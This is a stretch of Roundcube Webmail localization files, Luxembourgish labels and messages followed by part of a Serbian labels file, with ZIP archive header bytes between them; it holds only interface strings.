$labels['importreplace'] = 'Dat ganzt Adressbuch ersetzen';
$labels['importgroups'] = 'Gruppen-Zouweisung importéieren';
$labels['importgroupsall'] = 'All (nei Gruppen uleeën falls néideg)';
$labels['importgroupsexisting'] = 'Just fir Gruppen déi schon existéieren';
$labels['done'] = 'Erleedegt';
$labels['settingsfor'] = 'Astellunge fir';
$labels['about'] = 'Iwwert';
$labels['preferences'] = 'Astellungen';
$labels['userpreferences'] = 'Benotzer-Astellungen';
$labels['editpreferences'] = 'Benotzer-Astellungen änneren';
$labels['identities'] = 'Identitéiten';
$labels['preferhtml'] = 'HTML uweisen';
$labels['defaultcharset'] = 'Standard Zeechesaz';
$labels['htmlmessage'] = 'HTML-Message';
$labels['messagepart'] = 'Deel';
$labels['digitalsig'] = 'Digital Signatur';
$labels['dateformat'] = 'Datums-Format';
$labels['timeformat'] = 'Zäit-Format';
$labels['prettydate'] = 'Schéin Daten';
$labels['setdefault'] = 'Als standard definéieren';
$labels['autodetect'] = 'Automatesch';
$labels['language'] = 'Sprooch';
$labels['timezone'] = 'Zäitzon';
$labels['pagesize'] = 'Reie pro Säit';
$labels['signature'] = 'Ënnerschrëft';
$labels['dstactive'] = 'Summerzäit';
$labels['showinextwin'] = 'Message an neier Fënster opmaache';
$labels['composeextwin'] = 'An enger neier Fënster schreiwen';
$labels['htmleditor'] = 'HTML-Messagë schreiwen';
$labels['htmlonreply'] = 'bei Äntwert op e Message mat Formatéierungen';
$labels['htmlonreplyandforward'] = 'bei Weiderleedung oder Äntwert op e Message mat Formatéierungen';
$labels['htmlsignature'] = 'Formatéiert Ënnerschrëft';
$labels['showemail'] = 'Email-Adress mat ganzem Numm uweisen';
$labels['previewpane'] = 'Virschau-Panneau uweisen';
$labels['skin'] = 'Opmaachung vum Interface';
$labels['logoutclear'] = 'Poubelle beim Logout eidelmaachen';
$labels['logoutcompact'] = 'Mailbox beim Logout eidelmaachen';
$labels['uisettings'] = 'Benotzer-Interface';
$labels['serversettings'] = 'Server-Astellungen';
$labels['mailboxview'] = 'Mailbox-Usiicht';
$labels['mdnrequests'] = 'Bei Ufro no Empfanksbestätegung';
$labels['askuser'] = 'mech froen';
$labels['autosend'] = 'Bestätegung schécken';
$labels['autosendknown'] = 'Bestätegung u meng Kontakter schécken, anerefalls nofroen';
$labels['autosendknownignore'] = 'Bestätegung u meng Kontakter schécken, anerefalls ignoréieren';
$labels['readwhendeleted'] = 'Beim Läschen de Message als gelies markéieren';
$labels['flagfordeletion'] = 'De Message als "läschbar" markéieren amplaz en ze läschen';
$labels['skipdeleted'] = 'Geläschte Messagen net uweisen';
$labels['deletealways'] = 'Falls Messagen net an d\'Poubelle kënne geréckelt ginn, läsch se';
$labels['deletejunk'] = 'Messagen am Spam-Dossier direkt läschen';
$labels['showremoteimages'] = 'Biller an de Maile vun externe Serveren nolueden';
$labels['fromknownsenders'] = 'vu bekannte Senderen';
$labels['always'] = 'ëmmer';
$labels['showinlineimages'] = 'Biller déi drunhänken ënnert dem Message uweisen';
$labels['autosavedraft'] = 'Brouillon automatesch späicheren';
$labels['everynminutes'] = 'all $n Minutt(en)';
$labels['refreshinterval'] = 'Frësch lueden (nei Messagen ofruffen, etc.)';
$labels['never'] = 'ni';
$labels['immediately'] = 'direkt';
$labels['messagesdisplaying'] = 'Messagen uweisen';
$labels['messagescomposition'] = 'Messagë schreiwen';
$labels['mimeparamfolding'] = 'Nimm vun den Unhäng';
$labels['2231folding'] = 'Kompletten RFC 2231 (Thunderbird)';
$labels['miscfolding'] = 'RFC 2047/2231 (Microsoft Outlook)';
$labels['2047folding'] = 'Kompletten RFC 2047 (anerer)';
$labels['force7bit'] = 'MIME-Kodéierung fir 8-Bit-Zeeche benotzen';
$labels['advancedoptions'] = 'Avancéiert Optiounen';
$labels['focusonnewmessage'] = 'Browser-Fënster fokusséiere wann en neie Message ukënnt';
$labels['checkallfolders'] = 'Nei Messagen an allen Dossieren opruffen';
$labels['defaultfont'] = 'Standard-Schrëft fir e Message mat Formatéierungen';
$labels['mainoptions'] = 'Haapt-Optiounen';
$labels['browseroptions'] = 'Browser-Optiounen';
$labels['section'] = 'Beräich';
$labels['maintenance'] = 'Maintenance';
$labels['newmessage'] = 'Neie Message';
$labels['signatureoptions'] = 'Optioune vun der Ënnerschrëft';
$labels['whenreplying'] = 'Bei enger Äntwert';
$labels['replyempty'] = 'den Original-Message net zitéieren';
$labels['replytopposting'] = 'neie Message iwwert dem Zitat ufänken';
$labels['replybottomposting'] = 'neie Message ënnert dem Zitat ufänken';
$labels['replyremovesignature'] = 'Bei enger Äntwert d\'Original-Ënnerschrëft aus dem Message huelen';
$labels['autoaddsignature'] = 'Ënnerschrëft automatesch drasetzen';
$labels['newmessageonly'] = 'just bei neie Messagen';
$labels['replyandforwardonly'] = 'just bei Äntwerten a Weiderleedungen';
$labels['insertsignature'] = 'Ënnerschrëft drasetzen';
$labels['afternseconds'] = 'no $n Sekonnen';
$labels['reqmdn'] = 'Ëmmer eng Empfanksbestätegung ufroen';
$labels['reqdsn'] = 'Ëmmer eng Empfanks-Status-Meldung ufroen';
$labels['replysamefolder'] = 'Äntwert an de selweschten Dossier setze wéi de Message op dee geäntwert gëtt';
$labels['defaultabook'] = 'Standard Adress-Buch';
$labels['autocompletesingle'] = 'Alternativ Email-Adressen bei der automatescher Vervollstänneung iwwersprangen';
$labels['listnamedisplay'] = 'Kontakter oplëschten als';
$labels['spellcheckbeforesend'] = 'Orthographie kontrolléieren bevir de Message verschéckt gëtt';
$labels['spellcheckoptions'] = 'Orthographie-Korrektur-Optiounen';
$labels['spellcheckignoresyms'] = 'Wierder mat Symboler ignoréieren';
$labels['spellcheckignorenums'] = 'Wierder mat Zuelen ignoréieren';
$labels['spellcheckignorecaps'] = 'Wierder mat just Groussbuschtawen ignoréieren';
$labels['addtodict'] = 'An den Dictionnaire setzen';
$labels['mailtoprotohandler'] = 'Protokoll-Handhaber fir "mailto:"-Links registréieren';
$labels['standardwindows'] = 'Popup-Fënstere wéi normal Fënstere behandelen';
$labels['forwardmode'] = 'Messagë-Weiderleedung';
$labels['inline'] = 'am Message';
$labels['asattachment'] = 'als Unhank';
$labels['replyallmode'] = 'Standard-Aktioun vum [U jiddwereen äntweren]-Knäppchen';
$labels['replyalldefault'] = 'u jiddwereen äntweren';
$labels['replyalllist'] = 'just der Mailinglëscht äntweren (wann eng fonnt gëtt) ';
$labels['allmessages'] = 'all d\'Messagen';
$labels['folder'] = 'Dossier';
$labels['folders'] = 'Dossieren';
$labels['foldername'] = 'Dossiersnumm';
$labels['subscribed'] = 'Abonnéiert';
$labels['messagecount'] = 'Messagen';
$labels['create'] = 'Erstellen';
$labels['createfolder'] = 'Neien Dossier erstellen';
$labels['managefolders'] = 'Dossieren geréieren';
$labels['specialfolders'] = 'Speziell Dossieren';
$labels['properties'] = 'Astellungen';
$labels['folderproperties'] = 'Dossiers-Astellungen';
$labels['parentfolder'] = 'Elteren-Dossier';
$labels['location'] = 'Plaz';
$labels['info'] = 'Informatioun';
$labels['getfoldersize'] = 'Klick fir d\'Dossiers-Gréisst ze kréien';
$labels['changesubscription'] = 'Klick fir den Abonnement ze änneren';
$labels['foldertype'] = 'Dossiers-Typ';
$labels['personalfolder'] = 'Privaten Dossier';
$labels['otherfolder'] = 'Dossier vun anerem Benotzer';
$labels['sharedfolder'] = 'Ëffentlechen Dossier';
$labels['sortby'] = 'Sortéieren no';
$labels['sortasc'] = 'Opsteigend sortéieren';
$labels['sortdesc'] = 'Ofsteigend sortéieren';
$labels['undo'] = 'Réckgängeg maachen';
$labels['installedplugins'] = 'Installéiert Plugins';
$labels['plugin'] = 'Plugin';
$labels['version'] = 'Versioun';
$labels['source'] = 'Source';
$labels['license'] = 'Lizenz';
$labels['support'] = 'Support ufroen';
$labels['B'] = 'B';
$labels['KB'] = 'kB';
$labels['MB'] = 'MB';
$labels['GB'] = 'GB';
$labels['unicode'] = 'Unicode';
$labels['english'] = 'Englesch';
$labels['westerneuropean'] = 'West-Europäesch';
$labels['easterneuropean'] = 'Ost-Europäesch';
$labels['southeasterneuropean'] = 'Süd-Ost-Europäesch';
$labels['baltic'] = 'Baltesch';
$labels['cyrillic'] = 'Kyrilesch';
$labels['arabic'] = 'Arabesch';
$labels['greek'] = 'Griechesch';
$labels['hebrew'] = 'Häbräesch';
$labels['turkish'] = 'Türkesch';
$labels['nordic'] = 'Nordesch';
$labels['thai'] = 'Thai';
$labels['celtic'] = 'Keltesch';
$labels['vietnamese'] = 'Vietnamesesch';
$labels['japanese'] = 'Japanesch';
$labels['korean'] = 'Koreanesch';
$labels['chinese'] = 'Chinesesch';
PK
h�\A�)Ń2�2'program/localization/lb_LU/messages.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/messages/
*/

$messages['errortitle']  = 'Ee Feeler ass opgetrueden!';
$messages['loginfailed']  = 'Login feelgeschloen.';
$messages['cookiesdisabled'] = 'Däi Browser acceptéiert keng Cookien.';
$messages['sessionerror'] = 'Deng Sessioun ass ongëlteg oder verfall.';
$messages['storageerror'] = 'D\'Verbindung mam Späicher-Server ass feelgeschloen.';
$messages['servererror'] = 'Server-Feeler!';
$messages['servererrormsg'] = 'Server-Feeler: $msg';
$messages['connerror'] = 'Connectiouns-Feeler (De Server konnt net erreecht ginn)!';
$messages['dberror'] = 'Datebank-Feeler!';
$messages['windowopenerror'] = 'D\'Popup-Fënster gouf blockéiert!';
$messages['requesttimedout'] = 'D\'Ufro huet ze laang gedauert';
$messages['errorreadonly'] = 'D\'Operatioun kann net ofgeschloss ginn. Den Dossier ass schreifgeschützt.';
$messages['errornoperm'] = 'D\'Operatioun kann net ofgeschloss ginn. Zougrëff verweigert.';
$messages['erroroverquota'] = 'D\'Operatioun konnt net ausgefouert ginn. Et ass net méi genuch Plaz um Disk.';
$messages['erroroverquotadelete'] = 'Et ass net méi genuch Plaz um Disk. Benotz Shift+Delete fir e message ze läschen.';
$messages['invalidrequest'] = 'Ongëlteg Ufro! Et goufe keng Date gespäichert.';
$messages['invalidhost'] = 'Ongëltege Server-Numm.';
$messages['nomessagesfound'] = 'Keng Messagen an der Mailbox fonnt.';
$messages['mailboxempty'] = 'D\'Mailbox ass eidel';
$messages['nomessages'] = 'Keng Messagen';
$messages['refreshing'] = 'Lueden nei...';
$messages['loading'] = 'Lueden...';
$messages['uploading'] = 'Fichier gëtt eropgelueden...';
$messages['attaching'] = 'Fichier drunhänken...';
$messages['uploadingmany'] = 'Fichiere ginn eropgelueden...';
$messages['loadingdata'] = 'Date gi gelueden..';
$messages['checkingmail'] = 'Nei Messagë ginn ofgeruff...';
$messages['sendingmessage'] = 'Message gëtt geschéckt...';
$messages['messagesent'] = 'Message erfollegräich verschéckt.';
$messages['savingmessage'] = 'Message gëtt gespäichert...';
$messages['messagesaved'] = 'Message als Brouillon gespäichert.';
$messages['successfullysaved'] = 'Erfollegräich gespäichert.';
$messages['savingresponse'] = 'Äntwert-Text gëtt gespäichert...';
$messages['deleteresponseconfirm'] = 'Wëlls du dësen Äntwert-Text wierklech läschen?';
$messages['addedsuccessfully'] = 'Kontakt erfollegräich an d\'Adressbuch gesat.';
$messages['contactnameexists'] = 'Et existéiert schon e Kontakt mam selweschten Numm.';
$messages['blockedimages'] = 'Fir deng Privatsphär ze schütze, gi Biller vun externe Serveren an dësem Message net gelueden.';
$messages['encryptedmessage'] = 'Dëst ass e verschlësselte Message a kann net ugewise ginn. Et deet eis Leed!';
$messages['nocontactsfound'] = 'Keng Kontakter fonnt.';
$messages['contactnotfound'] = 'Den ugefrotene Kontakt gouf net fonnt.';
$messages['sendingfailed'] = 'De Message konnt net verschéckt ginn.';
$messages['senttooquickly'] = 'Waart wann ech gelift $sec Sekonn(en) bevir s du de Message verschécks. ';
$messages['errorsavingsent'] = 'Beim Späichere vum geschéckte Message ass e Feeler opgetruden.';
$messages['errorsaving'] = 'Beim Späicheren ass e Feeler opgetrueden.';
$messages['errormoving'] = 'D\'Messagë konnten net verréckelt ginn.';
$messages['errorcopying'] = 'D\'Messagë konnten net kopéiert ginn.';
$messages['errordeleting'] = 'D\'Messagë konnten net geläscht ginn.';
$messages['errormarking'] = 'D\'Messagë konnten net markéiert ginn.';
$messages['confirmationtitle'] = 'Bass du sécher...';
$messages['deletecontactconfirm']  = 'Wëlls du wierklech déi ausgewielte Kontakter läschen?';
$messages['deletegroupconfirm']  = 'Wëlls du wierklech déi ausgewielte Gruppe läschen?';
$messages['deletemessagesconfirm'] = 'Wëlls du wierklech déi ausgewielte Messagë läschen?';
$messages['deletefolderconfirm']  = 'Wëlls du dësen Dossier wierklech läschen?';
$messages['purgefolderconfirm']  = 'Wëlls du wierklech all d\'Messagen an dësem Dossier läschen?';
$messages['contactdeleting'] = 'Kontakter gi geläscht...';
$messages['groupdeleting'] = 'Grupp gëtt geläscht...';
$messages['folderdeleting'] = 'Dossier gëtt geläscht...';
$messages['foldermoving'] = 'Dossier gëtt geréckelt...';
$messages['foldersubscribing'] = 'Dossier gëtt abonnéiert...';
$messages['folderunsubscribing'] = 'Dossier gëtt desabonnéiert...';
$messages['formincomplete'] = 'De Formular war net komplett ausgefëlt.';
$messages['noemailwarning'] = 'Gëff w.e.gl eng gëlteg Email-Adress an.';
$messages['nonamewarning']  = 'Gëff w.e.gl en Numm an.';
$messages['nopagesizewarning'] = 'Gëff w.e.gl eng Säitegréisst an.';
$messages['norecipientwarning'] = 'Gëff w.e.gl op mannst een Empfänger an.';
$messages['nosubjectwarning']  = 'D\'Feld "Sujet" ass eidel. Wëlls du elo eent uginn?';
$messages['nosubjecttitle']  = 'Kee Sujet';
$messages['nobodywarning'] = 'Soll dëse Message ouni Text verschéckt ginn?';
$messages['restoresavedcomposedata'] = 'Et gouf e Message fonnt dee scho geschriwwen awer nach net verschéckt ginn ass.\n\nSujet: $subject\nGespäichert: $date\n\nSoll de Message recuperéiert ginn?';
$messages['nosearchname'] = 'Gëff w.e.gl en Numm oder eng E-Mail-Adress fir de Kontakt an.';
$messages['notuploadedwarning'] = 'Net all d\'Unhäng goufen eropgelueden. Waart w.e.gl e Moment oder briech den Upload of.';
$messages['searchsuccessful'] = '$nr Messagë fonnt.';
$messages['contactsearchsuccessful'] = '$nr Kontakter fonnt.';
$messages['searchnomatch'] = 'D\'Sich huet keng Treffer bruecht.';
$messages['searching'] = 'Sichen...';
$messages['checking'] = 'Kontrolléieren...';
$messages['stillsearching'] = 'D\'Sich leeft nach...';
$messages['nospellerrors'] = 'Et goufe keng Schreiffeeler fonnt.';
$messages['folderdeleted'] = 'Dossier erfollegräich geläscht.';
$messages['foldersubscribed'] = 'Dossier erfollegräich abonnéiert.';
$messages['folderunsubscribed'] = 'Dossier erfollegräich desabonnéiert.';
$messages['deletedsuccessfully'] = 'Erfollegräich geläscht.';
$messages['converting'] = 'Formatéierunge gi geläscht...';
$messages['messageopenerror'] = 'Message konnt net vum Server geluede ginn.';
$messages['fileuploaderror'] = 'Upload vum Fichier feelgeschloen.';
$messages['filesizeerror'] = 'Den eropgeluedene Fichier ass méi grouss wéi déi maximal erlaabte Gréisst vun $size.';
$messages['copysuccess'] = 'Et goufen erfollegräich $nr Kontakter kopéiert.';
$messages['movesuccess'] = 'Et goufen erfollegräich $nr Kontakter geréckelt.';
$messages['copyerror'] = 'Konnt d\'Kontakter net kopéieren';
$messages['moveerror'] = 'Konnt d\'Kontakter net réckelen.';
$messages['sourceisreadonly'] = 'D\'Adresse-Quell ass schreifgeschützt.';
$messages['errorsavingcontact'] = 'D\'Kontakt-Adress konnt net gespäichert ginn.';
$messages['movingmessage'] = 'Messagë gi geréckelt...';
$messages['copyingmessage'] = 'Messagë gi kopéiert...';
$messages['copyingcontact'] = 'Kontakter gi kopéiert...';
$messages['movingcontact'] = 'Kontakter gi geréckelt...';
$messages['deletingmessage'] = 'Messagë gi geläscht...';
$messages['markingmessage'] = 'Messagë gi markéiert...';
$messages['addingmember'] = 'Kontakter ginn an d\'grupp gesat...';
$messages['removingmember'] = 'Kontakter ginn aus der Grupp erausgeholl...';
$messages['receiptsent'] = 'Empfanksbestätegung erfollegräich verschéckt.';
$messages['errorsendingreceipt'] = 'Konnt d\'Bestätegung net verschécken.';
$messages['deleteidentityconfirm'] = 'Wëlls du dës Identitéit wierklech läschen?';
$messages['nodeletelastidentity'] = 'Du kanns dës Identitéit net läschen, well et deng lescht ass.';
$messages['forbiddencharacter'] = 'Den Numm vum Dossier enthält verbueden Zeechen.';
$messages['selectimportfile'] = 'Wuel w.e.gl e Fichier aus fir eropzelueden.';
$messages['addresswriterror'] = 'Dat ausgewieltent Adressbucht ass schreifgeschützt.';
$messages['contactaddedtogroup'] = 'Kontakter erfollegräich an d\'Grupp gesat.';
$messages['contactremovedfromgroup'] = 'Kontakter erfollegräich aus der Grupp erausgeholl.';
$messages['nogroupassignmentschanged'] = 'Keng Gruppen-Zouuerdnung geännert.';
$messages['importwait'] = 'Import leeft, ee Moment w.e.gl...';
$messages['importformaterror'] = 'Import feelgeschloen! Den eropgeluedene Fichier ass kee gëltegen Date-Fichier.';
$messages['importconfirm'] = '<b>$inserted Kontakter erfollegräich importéiert</b>';
$messages['importconfirmskipped'] = '<b>$skipped existéierend Anträg iwwersprongen</b>';
$messages['importmessagesuccess'] = 'Erfollegräich $nr Messagen importéiert';
$messages['importmessageerror'] = 'Import feelgeschloen! Den eropgeluedene Fichier ass kee gëltege Message oder kee Mailbox-Fichier.';
$messages['opnotpermitted'] = 'Operatioun net zougelooss!';
$messages['editorwarning'] = 'Den Editor-Typ ze wiessele kann de Verloscht vun Textformatéierunge verursaachen. Wëlls du weidermaachen?';
$messages['httpreceivedencrypterror'] = 'E fatale Konfiguratiouns-Feeler ass opgetrueden. Kontaktéier w.e.gl. den Administrator esou séier ewéi méiglech. <b>Däi Message kann net geschéckt ginn.</b> ';
$messages['smtpconnerror'] = 'SMTP-Feeler ($code): Et konnt keng Verbindung mam Server hirgestallt ginn.';
$messages['smtpautherror'] = 'SMTP-Feeler ($code): Authentifizéierung feelgeschloen.';
$messages['smtpfromerror'] = 'SMTP-Feeler ($code): Den Ofsender "$from" konnt net gesat ginn ($msg).';
$messages['smtptoerror'] = 'SMTP-Feeler ($code): Den Empfänger "$to" konnt net dobäigesat ginn ($msg).';
$messages['smtprecipientserror'] = 'SMTP-Feeler: D\'Empfänger-Lëscht kann net verschafft ginn.';
$messages['smtperror'] = 'SMTP-Feeler: $msg';
$messages['toomanyrecipients'] = 'Zevill Empfänger. Reduzéier d\'Zuel vun den Empfänger op $max.';
$messages['maxgroupmembersreached'] = 'D\'Unzuel vu Gruppememberen iwwersteigt de Maximum vun $max.';
$messages['internalerror'] = 'En interne Feeler ass opgetrueden. Probéier w.e.gl nach eng Kéier.';
$messages['contactdelerror'] = 'Kontakter konnten net geläscht ginn.';
$messages['contactdeleted'] = 'Kontakter erfollegräich geläscht.';
$messages['contactrestoreerror'] = 'Déi geläschte Kontakter konnten net recuperéiert ginn.';
$messages['contactrestored'] = 'Kontakter erfollegräich recuperéiert.';
$messages['groupdeleted'] = 'Grupp erfollegräich geläscht.';
$messages['grouprenamed'] = 'Grupp erfollegräich ëmbenannt.';
$messages['groupcreated'] = 'Grupp erfollegräich creéiert.';
$messages['savedsearchdeleted'] = 'Déi gespäicherte Sich gouf erfollegräich geläscht.';
$messages['savedsearchdeleteerror'] = 'Déi gespäicherte Sich konnt net geläscht ginn.';
$messages['savedsearchcreated'] = 'Déi gespäicherte Sich gouf erfollegräich erstallt.';
$messages['savedsearchcreateerror'] = 'Déi gespäicherte Sich konnt net erstallt ginn.';
$messages['messagedeleted'] = 'Messagen erfollegräich geläscht.';
$messages['messagemoved'] = 'Messagen erfollegräich geréckelt.';
$messages['messagecopied'] = 'Messagen erfollegräich kopéiert.';
$messages['messagemarked'] = 'Messagen erfollegräich markéiert.';
$messages['autocompletechars'] = 'Gëff e mimumum vun $min Zeechen u fir déi automatesch Vervollstänegung.';
$messages['autocompletemore'] = 'Et goufe méi passend Treffer fonnt. Tipp w.e.gl. nach e puer Buschtawe méi.';
$messages['namecannotbeempty'] = 'Den Numm kann net eidel sinn.';
$messages['nametoolong'] = 'Den Numm ass ze laang.';
$messages['folderupdated'] = 'Dossier erfollegräich aktualiséiert.';
$messages['foldercreated'] = 'Dossier erfollegräich ugeluecht.';
$messages['invalidimageformat'] = 'Kee gëltegt Bild-Format';
$messages['mispellingsfound'] = 'Et goufe Schreiffeeler am Message fonnt.';
$messages['parentnotwritable'] = 'Den Dossier konnt net am ausgewielten Dossier erstallt oder an den Dossier erageréckelt ginn. Keng Zougrëffsrechter.';
$messages['messagetoobig'] = 'Den Messagen-Deel ass ze grouss fir verschafft ze ginn.';
$messages['noscriptwarning'] = 'Warnung: Dëse Webmail brauch JavaScript! Fir de Service benotzen ze kënnen, aktivéier w.e.gl JavaScript an denge Browser-Astellungen.';
PK
h�\|�B/�u�u%program/localization/sr_CS/labels.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/labels/
*/


$labels['welcome'] = 'Добродошли на $product';
$labels['username'] = 'Корисничко име';
$labels['password'] = 'Лозинка';
$labels['server'] = 'Сервер';
$labels['login'] = 'Пријава';
$labels['menu'] = 'Мени';
$labels['logout'] = 'Одјава';
$labels['mail'] = 'Пошта';
$labels['settings'] = 'Поставке';
$labels['addressbook'] = 'Адресар';
$labels['inbox'] = 'Примљене';
$labels['drafts'] = 'Нацрти';
$labels['sent'] = 'Послате';
$labels['trash'] = 'Смеће';
$labels['junk'] = 'Отпад';
$labels['show_real_foldernames'] = 'Прикажи права имена за специјалне фасцикле';
$labels['subject'] = 'Наслов';
$labels['from'] = 'Од';
$labels['sender'] = 'Пошиљалац';
$labels['to'] = 'За';
$labels['cc'] = 'Цц';
$labels['bcc'] = 'Бцц';
$labels['replyto'] = 'Одговори';
$labels['date'] = 'Датум';
$labels['size'] = 'Величина';
$labels['priority'] = 'Приоритет';
$labels['organization'] = 'Организација';
$labels['readstatus'] = 'Стање читања';
$labels['listoptions'] = 'Опције листе...';
$labels['listoptionstitle'] = 'Опције листе';
$labels['mailboxlist'] = 'Фасцикле';
$labels['messagesfromto'] = 'Порука $from за $to од $count';
$labels['threadsfromto'] = 'Нити $from за $to од $count';
$labels['messagenrof'] = 'Порука $nr од $count';
$labels['fromtoshort'] = '$from – $to од $count';
$labels['copy'] = 'Копирај';
$labels['move'] = 'Премести';
$labels['moveto'] = 'Премести у...';
$labels['copyto'] = 'Копирај у...';
$labels['download'] = 'Преузми';
$labels['open'] = 'Отвори';
$labels['showattachment'] = 'Прикажи';
$labels['showanyway'] = 'Свеједно прикажи';
$labels['filename'] = 'Назив фајла';
$labels['filesize'] = 'Величина фајла';
$labels['addtoaddressbook'] = 'Додај у адресар';
$labels['sun'] = 'нед';
$labels['mon'] = 'пон';
$labels['tue'] = 'уто';
$labels['wed'] = 'сре';
$labels['thu'] = 'чет';
$labels['fri'] = 'пет';
$labels['sat'] = 'суб';
$labels['sunday'] = 'недеља';
$labels['monday'] = 'понедељак';
$labels['tuesday'] = 'уторак';
$labels['wednesday'] = 'среда';
$labels['thursday'] = 'четвртак';
$labels['friday'] = 'петак';
$labels['saturday'] = 'субота';
$labels['jan'] = 'јан';
$labels['feb'] = 'феб';
$labels['mar'] = 'мар';
$labels['apr'] = 'апр';
$labels['may'] = 'мај';
$labels['jun'] = 'јун';
$labels['jul'] = 'јул';
$labels['aug'] = 'авг';
$labels['sep'] = 'сеп';
$labels['oct'] = 'окт';
$labels['nov'] = 'нов';
$labels['dec'] = 'дец';
$labels['longjan'] = 'јануар';
$labels['longfeb'] = 'фебруар';
$labels['longmar'] = 'март';
$labels['longapr'] = 'април';
$labels['longmay'] = 'мај';
$labels['longjun'] = 'јун';
$labels['longjul'] = 'јул';
$labels['longaug'] = 'август';
$labels['longsep'] = 'септембар';
$labels['longoct'] = 'октобар';
$labels['longnov'] = 'новембар';
$labels['longdec'] = 'децембар';
$labels['today'] = 'данас';
$labels['refresh'] = 'Освежи';
$labels['checkmail'] = 'Провера нових порука';
$labels['compose'] = 'Нова порука';
$labels['writenewmessage'] = 'Напиши нову поруку';
$labels['reply'] = 'Одговори';
$labels['replytomessage'] = 'Одговори пошиљаоцу';
$labels['replytoallmessage'] = 'Одговори на листу или пошиљаоцу и свим примаоцима';
$labels['replyall'] = 'Одговори свима';
$labels['replylist'] = 'Одговори на листу';
$labels['forward'] = 'Проследи';
$labels['forwardinline'] = 'Проследи у тексту';
$labels['forwardattachment'] = 'Проследи као прилог';
$labels['forwardmessage'] = 'Проследи поруку';
$labels['deletemessage'] = 'Избриши поруку';
$labels['movemessagetotrash'] = 'Премести поруку у смеће';
$labels['printmessage'] = 'Одштампај поруку';
$labels['previousmessage'] = 'Прикажи претходну поруку';
$labels['firstmessage'] = 'Прикажи прву поруку';
$labels['nextmessage'] = 'Прикажи следећу поруку';
$labels['lastmessage'] = 'Прикажи последњу поруку';
$labels['backtolist'] = 'Повратак на листу порука';
$labels['viewsource'] = 'Прикажи изворни облик';
$labels['mark'] = 'Означи';
$labels['markmessages'] = 'Обележи поруке';
$labels['markread'] = 'као прочитано';
$labels['markunread'] = 'као непрочитано';
$labels['markflagged'] = 'као обележено';
$labels['markunflagged'] = 'као необележено';
$labels['moreactions'] = 'Остале радње...';
$labels['markallread'] = 'Означи све као прочитано';
$labels['folders-cur'] = 'Само изабрана фасцикла';
$labels['folders-sub'] = 'Изабрана фасцикла и потфасцикле';
$labels['folders-all'] = 'Све фасцикле';
$labels['more'] = 'Још';
$labels['back'] = 'Назад';
$labels['options'] = 'Опције';
$labels['actions'] = 'Радње';
$labels['first'] = 'Прво';
$labels['last'] = 'Последње';
$labels['previous'] = 'Претходно';
$labels['next'] = 'Следеће';
$labels['select'] = 'Изабери';
$labels['all'] = 'Све';
$labels['none'] = 'Ништа';
$labels['currpage'] = 'Тренутна страница';
$labels['isread'] = 'Прочитана';
$labels['unread'] = 'Непрочитана';
$labels['flagged'] = 'Обележено';
$labels['unflagged'] = 'Необележена';
$labels['unanswered'] = 'Неодговорена';
$labels['withattachment'] = 'Са прилогом';
$labels['deleted'] = 'Обрисано';
$labels['undeleted'] = 'Необрисано';
$labels['replied'] = 'Одговорено';
$labels['forwarded'] = 'Прослеђено';
$labels['invert'] = 'Обрни';
$labels['filter'] = 'Филтер';
$labels['list'] = 'Листа';
$labels['threads'] = 'Нити';
$labels['expand-all'] = 'Рашири све';
$labels['expand-unread'] = 'Рашири непрочитане';
$labels['collapse-all'] = 'Сажми све';
$labels['threaded'] = 'Разгранато';
$labels['autoexpand_threads'] = 'Рашири гране порука';
$labels['do_expand'] = 'све гране';
$labels['expand_only_unread'] = 'само са непрочитаним порукама';
$labels['fromto'] = 'од/за';
$labels['flag'] = 'Обележено';
$labels['attachment'] = 'Прилог';
$labels['nonesort'] = 'Ништа';
$labels['sentdate'] = 'Датум слања';
$labels['arrival'] = 'Датум пријема';
$labels['asc'] = 'растуће';
$labels['desc'] = 'опадајуће';
$labels['listcolumns'] = 'Колоне листе';
$labels['listsorting'] = 'Колона сортирања';
$labels['listorder'] = 'Ређање';
$labels['listmode'] = 'Режим приказа листе';
$labels['layout'] = 'Распоред';
$labels['layoutwidescreen'] = 'Широк екран';
$labels['layoutdesktop'] = 'Радна површ';
$labels['layoutlist'] = 'Листа';
$labels['folderactions'] = 'Радње фасцикле...';
$labels['compact'] = 'Сажми';
$labels['empty'] = 'Испразни';
$labels['importmessages'] = 'Увези поруке';
$labels['quota'] = 'Заузеће';
$labels['unknown'] = 'непознато';
$labels['unlimited'] = 'неограничено';
$labels['quotatype'] = 'Врста квоте';
$labels['quotatotal'] = 'Ограничење';
$labels['quotaused'] = 'Коришћено';
$labels['quotastorage'] = 'Заузеће диска';
$labels['quotamessage'] = 'Број порука';
$labels['quicksearch'] = 'Брза претрага';
$labels['resetsearch'] = 'Ресетуј претрагу';
$labels['searchmod'] = 'Модификатори претраге';
$labels['msgtext'] = 'Цела порука';
$labels['body'] = 'Тело';
$labels['type'] = 'Тип';
$labels['namex'] = 'Име';
$labels['searchscope'] = 'Распон';
$labels['currentfolder'] = 'Текућа фасцикла';
$labels['subfolders'] = 'Ова и потфасцикле';
$labels['allfolders'] = 'Све фасцикле';
$labels['searchinterval-1W'] = 'старије од седмице';
$labels['searchinterval-1M'] = 'старије од месеца';
$labels['searchinterval-1Y'] = 'старије од године';
$labels['searchinterval1W'] = 'млађе од седмице';
$labels['searchinterval1M'] = 'млађе од месеца';
$labels['searchinterval1Y'] = 'млађе од године';
$labels['openinextwin'] = 'Отвори у новом прозору';
$labels['emlsave'] = 'Преузимање (.eml)';
$labels['changeformattext'] = 'Прикажи у обичном текстуалном формату';
$labels['changeformathtml'] = 'Прикажи у HTML формату';
$labels['editasnew'] = 'Уреди као ново';
$labels['send'] = 'Пошаљи';
$labels['sendmessage'] = 'Пошаљи поруку';
$labels['savemessage'] = 'Сачувај као нацрт';
$labels['addattachment'] = 'Приложи фајл';
$labels['charset'] = 'Кодирање';
